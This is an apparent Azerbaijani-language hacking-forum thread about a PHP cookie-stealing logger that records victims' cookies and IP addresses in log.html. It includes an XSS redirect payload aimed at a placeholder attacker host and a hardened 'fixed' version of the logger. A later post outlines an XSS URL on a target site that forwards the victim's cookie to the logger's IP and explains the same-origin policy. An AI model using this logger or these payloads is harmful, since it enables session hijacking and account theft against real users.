Sitat

---

#12996 BlackMinD :
Fayl log.html özü yaranacaq orada fopen-də a moddadır.
a modda da fayl mövcüd deyilsə onu yaratmağa cəhd edir.
+
Bu skriptdəki $cookie sanitizə edilməyib deyə özü avtomatik log.html-də XSS yaradacaq.


logger.php?cookie="><script>location.replace("http://artiq_attackeri_owned_edirik.tld");</script>

yəniki attacker loglara baxanda onu başqa səhifəyə yönləndirib "tutmaq" olar.


Fixed versiya:

Kod:

<?php
error_reporting(0);
$cookie =htmlspecialchars($_GET['cookie']);
$date = date ("l ds of F Y h:i:s A");
$ip = htmlspecialchars($_SERVER['REMOTE_ADDR']);
$file = fopen('log.html', 'a');
fwrite($file,"DATE : $date || IP: $ip || COOKIE : $cookie <br />");
fclose($file);
?>

---

Sitat

---

#13064 BlackMinD :
@Avatar Dəyməz sən də sağol.

@TheConficker yəniki İP modemin öz interfeysi üçün yoxsa port 80-da vertrigo üçün?

Modem üçündürsə inanmıramki reallaşsın.
Amma vertrigo üçün o halda həm Apachenin loglarına düşəcək ziyarətçinin İP-Sİ timestampı + Brauzeri+Query stringi (yəni hansisafayl.php?parameter=VALUE) şəklində ($_GET request üçün)
Ammaki Apache-də onu hər hansı php scriptə include edib tutmaq olar sadə şeydir.

---

Sitat

---

#13154 BlackMinD :
@TheConficker yox bro cookieni XSS-siz (2-ci saytın cookiesini)oxumaq mümkün deyil.
Yəni kimsə sənin deyək localhostuna adi qaydada:

http://xx.xxx.xxx.xxx/hansisafayl.php

kimi girirsə burda sözsüz ki, sən o ziyarətçinin cookiesini (başqa domen) üçün oxuya bilməzsən.(Yalnız öz domenin üçün oxuya bilərsən)
Same Origin Policy (brauzerlərdə realizə edilən bir şeydir) buna imkan vermir.
Yox əgər artıq XSS şəklində məsəl üçün:



http://hedefsayt.tld/page.php?num=XSS PAYLOAD_HANSIKI_YÖNLƏNİR_http://xx.xxx.xxx.xxx/hansisafayl.php + COOKİE

bu halda isə doğrudur o.
Belədə amma İP-ni tutmaq asandır.Same Origin Policylik bir şey yoxdur çünki.

---